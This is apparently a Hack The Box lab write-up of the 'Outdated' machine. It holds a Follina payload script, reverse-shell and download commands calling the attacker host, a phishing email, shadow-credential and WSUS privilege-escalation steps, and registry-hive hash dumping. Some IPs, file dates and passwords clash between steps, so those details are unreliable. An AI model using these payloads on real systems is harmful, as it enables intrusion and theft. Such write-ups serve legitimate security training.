htb-outdated

HTB-OUTDATED

Summary

This machine was initially published with some unintended ways to root (i.e zerologon), and later those had been patched. The intended PE exploit is via WSUS.

This machine features several fairly new exploits such as follina, wsus etc. But in general, it’s also a bit unstable. So, exploit with patience.

Scanning

# Nmap 7.93 scan initiated Wed Dec 18 17:24:04 2024 as: nmap -Pn -A -oN ports.nmap 10.10.11.175
Nmap scan report for mail.outdated.htb (10.10.11.175)
Host is up (0.014s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
25/tcp   open  smtp          hMailServer smtpd
| smtp-commands: mail.outdated.htb, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-12-19 00:24:15Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-12-19T00:25:36+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
| Not valid before: 2024-12-19T00:09:44
|_Not valid after:  2025-12-19T00:09:44
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-12-19T00:25:35+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
| Not valid before: 2024-12-19T00:09:44
|_Not valid after:  2025-12-19T00:09:44
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
| Not valid before: 2024-12-19T00:09:44
|_Not valid after:  2025-12-19T00:09:44
|_ssl-date: 2024-12-19T00:25:36+00:00; +8h00m01s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-12-19T00:25:35+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC.outdated.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.outdated.htb
| Not valid before: 2024-12-19T00:09:44
|_Not valid after:  2025-12-19T00:09:44
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 7h59m59s
| smb2-time: 
|   date: 2024-12-19T00:24:55
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 18 17:25:35 2024 -- 1 IP address (1 host up) scanned in 91.07 seconds

.


Enum

From the above, the target might be another exercise on AD, ldap, kerberos. Let’s find some more info.

>

enum4linux outdated.htb


Domain Name: OUTDATED
Domain Sid: S-1-5-21-4089647348-67660539-4016542185

>

smbclient -N -L outdated.htb



Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share 
Shares          Disk      
SYSVOL          Disk      Logon server share 
UpdateServicesPackages Disk      A network share to be used by client systems for collecting all software packages (usually applications) published on this WSUS system.
WsusContent     Disk      A network share to be used by Local Publishing to place published content on this WSUS system.
WSUSTemp        Disk      A network share used by Local Publishing from a Remote WSUS Console Instance.

There is a Shares folder. Connecting to it, we can find more info.

> 

smbclient -N \\\\outdated.htb\\Shares


smb: \> ls
  .                                   D        0  Mon Jun 20 11:01:33 2022
  ..                                  D        0  Mon Jun 20 11:01:33 2022
  NOC_Reminder.pdf                   AR   106977  Mon Jun 20 11:00:32 2022

                9116415 blocks of size 4096. 1440211 blocks available
smb: \> get NOC_Reminder.pdf
getting file \NOC_Reminder.pdf of size 106977 as NOC_Reminder.pdf (33.8 KiloBytes/sec) (average 33.8 KiloBytes/sec)
.

User: btables

We found a doc NOC_Reminder.pdf. Reading the content, we learnt that there are unpatched vulnerabilities and there is a valid email address at itsupport@outdated.htb, who checks email for links regularly.

Also, we learnt that there are some vulnerabilities unpatched, and one of them is exploitable via email: CVE-2022-30190

CVE-2022-30190 is also known as Follina, which is a relatively recent exploit on MS word/rtf docs, in which you can utilize a rarely used feature called Microsoft Support Diagnostics Tool (MSDT) that downloads malicious scripts via an embedded link. For more detail, check here: https://logrhythm.com/blog/detecting-follina-cve-2022-30190-microsoft-office-zero-day-exploit/

To exploit this, i used this exploit: https://github.com/JohnHammond/msdt-follina

Generate Payload

Use some code based on John Hammond’s POC. This POC does a lot of things, generating a Word document that will request the HTML payload, and even providing the webserver and catching the reverse shell. I’ll use just a couple lines that generate that HTML payload:

#!/usr/bin/env python3

import base64
import random
import string
import sys

if len(sys.argv) > 1:
    command = sys.argv[1]
else:
    command = "IWR http://10.10.14.10/nc64.exe -outfile C:\\programdata\\nc64.exe; C:\\programdata\\nc64.exe 10.10.14.10 443 -e cmd"

base64_payload = base64.b64encode(command.encode("utf-8")).decode("utf-8")

# Slap together a unique MS-MSDT payload that is over 4096 bytes at minimum
html_payload = f"""<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{base64_payload}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\""; //"""
html_payload += (
    "".join([random.choice(string.ascii_lowercase) for _ in range(4096)])
    + "\n</script>"
)

print(html_payload)

.

It’s important to note that the payload must be padded out to larger than 4096 bytes to bypass user activity.

I’ll generate this payload and save it into a file I’ll then serve with Python’s webserver.

Trigger Exploit

I’ll send the link in an email to itsupport@outdated.htb using swaks:

.

┌──(puck㉿kali)-[~/htb/outdated]
└─$ swaks --to itsupport@outdated.htb --from "puck@puck.htb" --header "Subject: Internal web app" --body "http://10.10.14.10/msdt.html" 
=== Trying outdated.htb:25...
=== Connected to outdated.htb.
<-  220 mail.outdated.htb ESMTP
 -> EHLO kali
<-  250-mail.outdated.htb
<-  250-SIZE 20480000
<-  250-AUTH LOGIN
<-  250 HELP
 -> MAIL FROM:<puck@puck.htb>
<-  250 OK
 -> RCPT TO:<itsupport@outdated.htb>
<-  250 OK
 -> DATA
<-  354 OK, send.
 -> Date: Wed, 18 Dec 2024 17:39:47 +0100
 -> To: itsupport@outdated.htb
 -> From: puck@puck.htb
 -> Subject: Internal web app
 -> Message-Id: <20241218173947.018882@kali>
 -> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
 -> 
 -> http://10.10.14.10/msdt.html
 -> 
 -> 
 -> .
<-  250 Queued (10.844 seconds)
 -> QUIT
<-  221 goodbye
=== Connection closed with remote host.

If this works, the user will click the link, requesting the msdt.html page, which I’ll serve, and moments later, I should get a request to upload nc64.exe (I’ll make sure there’s a copy in my web root) and then a shell on TCP 443. It works just like expected. Two get requests:

┌──(puck㉿kali)-[~/htb/outdated]
└─$ python3 -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.175 - - [18/Dec/2024 17:40:06] "GET /msdt.html HTTP/1.1" 200 -
10.10.11.175 - - [18/Dec/2024 17:40:13] "GET /nc64.exe HTTP/1.1" 200 -

.

Then a shell:

┌──(puck㉿kali)-[~/htb/outdated]
└─$ nc -nlvp 443                               
listening on [any] 443 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.175] 49807
Microsoft Windows [Version 10.0.19043.928]
(c) Microsoft Corporation. All rights reserved.

C:\Users\btables\AppData\Local\Temp\SDIAG_8676bad3-7f29-4e4c-8a83-804326c2b9fd>whoami
whoami
outdated\btables

C:\Users\btables\AppData\Local\Temp\SDIAG_8676bad3-7f29-4e4c-8a83-804326c2b9fd>

 

User: sflowers

Now, we can collect AD information as btables, which is a domain user.

Upload SharpBound.exe to the machine and start collecting domain info.

# download SharpHound to the target
> certutil -urlcache -f http://10.10.14.10:8000/SharpHound.exe SharpHound.exe

# run SharpHound
> SharpHound.exe -c All 

# send the result back
nc64.exe 10.10.14.10 5555 < 20241218170837_BloodHound.zip

> nc -nlvp 5555 > output.zip

or we use

serving smb

# impacket-smbserver -smb2support share . -user puck -pass puckpuck

on client

c:\temp>net use \\10.10.14.10\share /u:puck puckpuck
net use \\10.10.14.10\share /u:puck puckpuck
The command completed successfully.

c:\temp>copy 20241218170837_BloodHound.zip \\10.10.14.10\share\
copy 20241218170837_BloodHound.zip \\10.10.14.10\share\
1 file(s) copied.

Bloodhound Analyse the output finds that btables belongs to the group itstaff, and itstaff has the privilege to AddKeyCredentialLink to the user sflowers, who has psremote access to the DC.

The members of the group ITSTAFF@OUTDATED.HTB have the ability to write to the “msds-KeyCredentialLink” property on SFLOWERS@OUTDATED.HTB. Writing to this property allows an attacker to create “Shadow Credentials” on the object and authenticate as the principal using kerberos PKINIT.

To abuse this privilege, use Whisker.

You may need to authenticate to the Domain Controller as a member of ITSTAFF@OUTDATED.HTB if you are not running a process as a member

Whisker.exe add /target:<TargetPrincipal>

or abuse this privilege, use pyWhisker.

pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"

Shortest Paths to Unconstrained Delegation Systems

To get user sflowers, we need to utilise a technique called ShadowCredentials, for more detail, refer to this: https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials

Basically, we can add new properties to the user sflowers, so, we can add a new property as a valid credential for the user sflowers to authenticate, and we can then use the new credential we created to pull the TGT of sflowers, which we can use for persistent access as sflowers.

To do so, we need some windows exploit binaries, which can be downloaded from here: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

Note that Whisker needs to be self compiled or decompressed from here: https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries

# upload binaries
> certutil.exe -urlcache -f http://10.10.14.10:8000/Whisker.exe Whisker.exe
> certutil.exe -urlcache -f http://10.10.14.10:8000/Rubeus.exe Rubeus.exe

# run whisker to add a new property as a new credential for sflowers
> Whisker.exe add /target:sflowers

Rubeus.exe asktgt /user:sflowers /certificate:<base64-cert> /password:"81IrT8oSxfA0pBoe" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show

thus

c:\temp>Whisker.exe add /target:sflowers
Whisker.exe add /target:sflowers
[*] No path was provided. The certificate will be printed as a Base64 blob
[*] No pass was provided. The certificate will be stored with the password 81IrT8oSxfA0pBoe
[*] Searching for the target account
[*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb
[*] Generating certificate
[*] Certificate generaged
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID 6a790b88-4b86-4573-a370-9adc1b30ab23
[*] Updating the msDS-KeyCredentialLink attribute of the target object
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] You can now run Rubeus with the following syntax:

Rubeus.exe asktgt /user:sflowers /certificate:MIIJuAIBAzC--snip--BBQZ+QkWHwIHU/1WhBtmHUcA+lq2+wICB9A= /password:"81IrT8oSxfA0pBoe" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show

c:\temp>
running this Rubeus.exe asktgt /user:sflowers /certificate:MII... command outputs:
(_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.2 

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=sflowers 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'outdated.htb\sflowers'
[*] Using domain controller: 10.10.11.175:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      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

  ServiceName              :  krbtgt/outdated.htb
  ServiceRealm             :  OUTDATED.HTB
  UserName                 :  sflowers (NT_PRINCIPAL)
  UserRealm                :  OUTDATED.HTB
  StartTime                :  12/18/2024 5:31:41 PM
  EndTime                  :  12/19/2024 3:31:41 AM
  RenewTill                :  12/25/2024 5:31:41 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  cN1Bk+mqBOcR14SubTGASw==
  ASREP (key)              :  17F6045F81E34A88A319CE8C12CA262D

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : 1FCDB1F6015DCB318CC77BB2BDA14DB5

c:\temp>

At the end of whisker, it will generate a Rubeus command to pull the TGT of sflowers

> Rubeus.exe asktgt /user:sflowers /certificate:<base64-cert> /password:"el84kTr1afLpoMWG" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show

Note the

NTLM : 1FCDB1F6015DCB318CC77BB2BDA14DB5

, this can be used as the

ntlm

hash for the user sflowers.

Now, we can PSRemote into the target as sflowers using the ntlm hash we obtained via shadow credential

>

evil-winrm -i outdated.htb -u sflowers -H 1FCDB1F6015DCB318CC77BB2BDA14DB5

PE: WSUS

Perform enum using winpeas, we found that there is a wsus server configured that is using non-https.

  [+] Checking WSUS
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus
    WSUS is using http: http://wsus.outdated.htb:8530
    [i] You can test https://github.com/pimps/wsuxploit to escalate privileges
    But UseWUServer is equals to , so it may work or not

We continue checking for several registry values

.

*Evil-WinRM* PS C:\Users\sflowers\Documents> reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
    WUServer    REG_SZ    http://wsus.outdated.htb:8530

*Evil-WinRM* PS C:\Users\sflowers\Documents> reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU
    UseWUServer    REG_DWORD    0x1

.

a non-https wsus server and UseWUServer value is 1, the machine is vulnerable to wsus attack.

The most recent is the SharpWSUS post, which gives a really nice overview of how WSUS servers work to provide updates to networks of different size and complexity.

It also has a link to a Github repo with the tool, which I’ll build in Visual Studio just like Whisker above, and upload to DC:

*Evil-WinRM* PS C:\programdata> upload SharpWSUS.exe sw.exe
Info: Uploading SharpWSUS.exe to sw.exe

                                                             
Data: 65536 bytes of 65536 bytes copied

Info: Upload successful!

Identify WSUS

The registry key HKLM:\software\policies\microsoft\windows\WindowsUpdate will show the WSUS server in use. From client:

PS C:\> Get-ItemProperty HKLM:\software\policies\microsoft\windows\WindowsUpdate

And from the DC:
*Evil-WinRM* PS C:\> get-itemproperty HKLM:\software\policies\microsoft\windows\WindowsUpdate

SharpWSUS.exe will do this as well:
*Evil-WinRM* PS C:\programdata> .\sw.exe locate
..snip..
[*] Action: Locate WSUS Server
WSUS Server: http://wsus.outdated.htb:8530

[*] Locate complete

From client, ping will show that it’s the same host as the DC:

PS C:\> ping wsus.outdated.htb

Resolve-DNSName will also show this (if run from DC it needs -Server to work):
*Evil-WinRM* PS C:\programdata> Resolve-DNSName -Name wsus.outdated.htb -Type A -Server 127.0.0.1

Name                           Type   TTL   Section    NameHost
----                           ----   ---   -------    --------
wsus.outdated.htb              CNAME  3600  Answer     dc.outdated.htb

Name       : dc.outdated.htb
QueryType  : A
TTL        : 3600
Section    : Answer
IP4Address : 10.10.11.175


Name       : dc.outdated.htb
QueryType  : A
TTL        : 3600
Section    : Answer
IP4Address : 172.16.20.1

WSUS Information

SharpWSUS.exe will also give information about the clients using the WSUS:

*Evil-WinRM* PS C:\programdata> .\sw.exe inspect

 ____  _                   __        ______  _   _ ____
/ ___|| |__   __ _ _ __ _ _\ \      / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
 ___) | | | | (_| | |  | |_) \ V  V /  ___) | |_| |___) |
|____/|_| |_|\__,_|_|  | .__/ \_/\_/  |____/ \___/|____/
                       |_|
           Phil Keeble @ Nettitude Red Team

[*] Action: Inspect WSUS Server

################# WSUS Server Enumeration via SQL ##################
ServerName, WSUSPortNumber, WSUSContentLocation
-----------------------------------------------
DC, 8530, c:\WSUS\WsusContent


####################### Computer Enumeration #######################
ComputerName, IPAddress, OSVersion, LastCheckInTime
---------------------------------------------------
dc.outdated.htb, 172.16.20.1, 10.0.17763.652, 7/22/2022 5:01:44 AM

####################### Downstream Server Enumeration #######################
ComputerName, OSVersion, LastCheckInTime
---------------------------------------------------

####################### Group Enumeration #######################
GroupName
---------------------------------------------------
All Computers
Downstream Servers
Unassigned Computers

[*] Inspect complete

It only shows the DC, but that’s where I want SYSTEM anyway.

Exploit

PsExec

WSUS will only run signed Microsoft binaries. As I have no good way to get a MS signing certificate, I’ll have to use something legit. The article suggests the Sysintenals tool, PSExec. I’ll download Sysinternals, copy PsExec.exe to my webserver, and upload it:

*Evil-WinRM* PS C:\programdata> upload PsExec64.exe \programdata\ps.exe
Info: Uploading PsExec64.exe to \programdata\ps.exe
                                                             
Data: 685960 bytes of 685960 bytes copied

Info: Upload successful!

Create/Approve Update

I’ll create an update using SharpWSUS.exe. The blog post shows adding an administrator, but I’ll just go for a reverse shell using nc64.exe. The /args for PsExec are -accepteula so that it doesn’t pop a box and wait for a click, -s to run as system, and -d to return immediately. The /title is arbitrary.

*Evil-WinRM* PS C:\programdata> .\sw.exe create /payload:"C:\programdata\ps.exe" /args:" -accepteula -s -d c:\programdata\nc64.exe -e cmd.exe 10.10.14.6 445" /title:"CVE-2022-30190"

 ____  _                   __        ______  _   _ ____
/ ___|| |__   __ _ _ __ _ _\ \      / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
 ___) | | | | (_| | |  | |_) \ V  V /  ___) | |_| |___) |
|____/|_| |_|\__,_|_|  | .__/ \_/\_/  |____/ \___/|____/
                       |_|
           Phil Keeble @ Nettitude Red Team

[*] Action: Create Update
[*] Creating patch to use the following:
[*] Payload: ps.exe
[*] Payload Path: C:\programdata\ps.exe
[*] Arguments:  -accepteula -s -d c:\programdata\nc64.exe -e cmd.exe 10.10.14.6 445
[*] Arguments (HTML Encoded):  -accepteula -s -d c:\programdata\nc64.exe -e cmd.exe 10.10.14.6 445

################# WSUS Server Enumeration via SQL ##################
ServerName, WSUSPortNumber, WSUSContentLocation
-----------------------------------------------
DC, 8530, c:\WSUS\WsusContent

ImportUpdate
Update Revision ID: 44
PrepareXMLtoClient
InjectURL2Download
DeploymentRevision
PrepareBundle
PrepareBundle Revision ID: 45
PrepareXMLBundletoClient
DeploymentRevision

[*] Update created - When ready to deploy use the following command:
[*] SharpWSUS.exe approve /updateid:ea097920-0e17-4f9e-8045-0dfc5078a317 /computername:Target.FQDN /groupname:"Group Name"

[*] To check on the update status use the following command:
[*] SharpWSUS.exe check /updateid:ea097920-0e17-4f9e-8045-0dfc5078a317 /computername:Target.FQDN

[*] To delete the update use the following command:
[*] SharpWSUS.exe delete /updateid:ea097920-0e17-4f9e-8045-0dfc5078a317 /computername:Target.FQDN /groupname:"Group Name"

[*] Create complete

I need to approve that Update, using the syntax given in the output (/groupname is arbitrary):

*Evil-WinRM* PS C:\programdata> .\sw.exe approve /updateid:ea097920-0e17-4f9e-8045-0dfc5078a317 /computername:dc.outdated.htb /groupname:"CriticalPatches"

 ____  _                   __        ______  _   _ ____
/ ___|| |__   __ _ _ __ _ _\ \      / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
 ___) | | | | (_| | |  | |_) \ V  V /  ___) | |_| |___) |
|____/|_| |_|\__,_|_|  | .__/ \_/\_/  |____/ \___/|____/
                       |_|
           Phil Keeble @ Nettitude Red Team

[*] Action: Approve Update

Targeting dc.outdated.htb
TargetComputer, ComputerID, TargetID
------------------------------------
dc.outdated.htb, bd6d57d0-5e6f-4e74-a789-35c8955299e1, 1
Group Exists = False
Group Created: CriticalPatches
Added Computer To Group
Approved Update

[*] Approve complete

It takes about a minute for this to fire, and it fails occasionally. If it fails, I’ll try again, but eventually there’s a connection at nc:

┌──(puck㉿kali)-[~/htb/outdated]
└─$ nc -nlvp 445 
listening on [any] 445 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.175] 49307
Microsoft Windows [Version 10.0.17763.1432]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system


 

Beyond Root – Skipped Steps

PyWhisker Background

With a shell in the Hyper-V Container, I built an EXE version of Whisker. There’s also a Python version of the exploit, pywhisker. It does the same thing, but I’ll execute it from my attack station. The problem is, that to run it I’ll need some creds for the domain. This wasn’t an issue with the EXE version, as it was running in the context of btables, and used what Windows had cached for the user to auth. But to run it from my VM, I’ll need creds.

The Author’s intended path for this box was to exploit HiveNightmare to get creds for btables, and then use those to run pywhisker. That wasn’t necessary, but I’ll still show it here.

HiveNightmare

Background

In July 2021, a researcher noticed that the permissions for the raw registry hive files was misconfigured starting in Windows 10 build 1809, which first released to the public in October 2018. This got the designation CVE-2021-36934, as well as the names HiveNightmare and SeriousSAM.

icacls shows that the SAM file is readable by all users:

C:\>icacls C:\windows\system32\config\SAM
C:\windows\system32\config\SAM BUILTIN\Administrators:(I)(F)
                               NT AUTHORITY\SYSTEM:(I)(F)
                               BUILTIN\Users:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Get Hive Files

Interestingly, I still can’t just copy the files. But a tool like HiveNightmare from researcher GossiTheDog will pull it for me. I’ll grab the compiled EXE from the release page.

I’ll upload it using wget and run it:

PS C:\ProgramData> wget 10.10.14.6/HiveNightmare.exe -outfile hn.exe
PS C:\ProgramData> ./hn

HiveNightmare v0.6 - dump registry hives as non-admin users

Specify maximum number of shadows to inspect with parameter if wanted, default is 15.

Running...

Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SAM

Success: SAM hive from 2022-08-02 written out to current working directory as SAM-2022-08-02

Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SECURITY

Success: SECURITY hive from 2022-08-02 written out to current working directory as SECURITY-2022-08-02

Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM
Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM

Success: SYSTEM hive from 2022-08-02 written out to current working directory as SYSTEM-2022-08-02


Assuming no errors above, you should be able to find hive dump files in current working directory.

It does create copies of the hives in the current directory:

PS C:\ProgramData> ls

    Directory: C:\ProgramData

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-         6/15/2022   6:30 PM                Microsoft
d-----         6/15/2022   9:24 AM                Microsoft OneDrive
d-----         6/15/2022   9:40 AM                Packages
d-----          8/1/2022   7:41 PM                regid.1991-06.com.microsoft
d-----         12/7/2019   1:14 AM                SoftwareDistribution
d-----          4/9/2021   6:54 AM                ssh
d-----         6/15/2022   9:53 AM                USOPrivate
d-----         12/7/2019   1:14 AM                USOShared
-a----          8/3/2022   2:10 PM         227328 hn.exe
-a----          8/3/2022   2:08 PM          45272 nc64.exe
-a----          8/3/2022   2:10 PM          65536 SAM-2022-08-02
-a----          8/3/2022   2:10 PM          32768 SECURITY-2022-08-02
-a----          8/3/2022   2:10 PM       11534336 SYSTEM-2022-08-02  

Exfil

To exfil these, I’ll start an SMB server on my box:

┌──(puck㉿kali)-[~/htb/outdated]
└─$ impacket-smbserver -smb2support share . -user puck -pass puckpuck

 

I’ll connect to it from Outdated, and then copy the files:

PS C:\ProgramData> net use \\10.10.14.10\share /u:puck 0puckpuck
The command completed successfully.
PS C:\ProgramData> copy *-12-14 \\10.10.14.10\share\
PS C:\ProgramData> copy *-13 \\10.10.14.10\share\

Dump Hashes

With access to these hives, secretsdump.py will return the hashes:

┌──(puck㉿kali)-[~/htb/outdated]
└─$ impacket-secretsdump -sam SAM-2023-12-13 -security SECURITY-2023-12-14 -system SYSTEM-2023-12-14 local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x0e2bd3cb19e8aa5c74f4b9161423a373
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cadef52f10f56e21d9f4934c4d5bf813:::
